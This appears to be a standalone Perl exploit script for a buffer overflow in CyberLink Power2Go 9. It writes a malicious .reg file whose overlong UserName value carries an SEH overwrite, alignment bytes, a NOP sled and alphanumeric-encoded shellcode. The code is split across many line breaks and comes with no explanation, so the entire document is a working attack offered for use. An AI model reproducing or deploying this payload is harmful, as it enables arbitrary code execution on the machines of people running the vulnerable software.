#!/usr/bin/perl
my
$buffsize
= 50000;
my
$regfilestart
=
"Windows Registry Editor Version 5.00\n\n"
;
$regfilestart
=
$regfilestart
.
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\CyberLink\\Power2Go9\\9.0]\n"
;
$regfilestart
=
$regfilestart
.
"\"UserName\"="
;
my
$junk
=
"T_v3rn1x"
. (
"\x41"
x 4892);
my
$nseh
=
"\x61\x62"
;
my
$seh
=
"\xd0\x50"
;
my
$venalign
=
"\x6e"
;
$venalign
=
$venalign
.
"\x53"
;
$venalign
=
$venalign
.
"\x6e"
;
$venalign
=
$venalign
.
"\x58"
;
$venalign
=
$venalign
.
"\x6e"
;
$venalign
=
$venalign
.
"\x05\x14\x11"
;
$venalign
=
$venalign
.
"\x6e"
;
$venalign
=
$venalign
.
"\x2d\x12\x11"
;
$venalign
=
$venalign
.
"\x6e"
;
$venalign
=
$venalign
.
"\x50"
;
$venalign
=
$venalign
.
"\x6e"
;
$venalign
=
$venalign
.
"\xc3"
;
my
$nops
=
"\x71"
x 236;
my
$shell
=
"PPYAIAIAIAIAQATAXAZAPA3QADAZA"
.
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
.
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
.
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
.
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
.
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
.
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
.
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
.
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
.
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
.
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
.
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
.
"QQ2LRCM0LJA"
;
my
$sploit
=
$junk
.
$nseh
.
$seh
.
$venalign
.
$nops
.
$shell
;
my
$fill
=
"\x71"
x (
$buffsize
-
length
(
$sploit
));
my
$buffer
=
$sploit
.
$fill
;
my
$regfile
=
$regfilestart
.
"hex: "
.
$buffer
.
$regfileend
;
my
$regfile
=
$regfilestart
.
"\""
.
$buffer
.
"\""
;
my
$file
=
"cyberlinkp2g9_bof.reg"
;
open
(FILE,
">$file"
);
print
FILE
$regfile
;
close
(FILE);
print
"Exploit file ["
.
$file
.
"] created\n"
;
print
"Buffer size: "
.
length
(
$buffer
) .
"\n"
;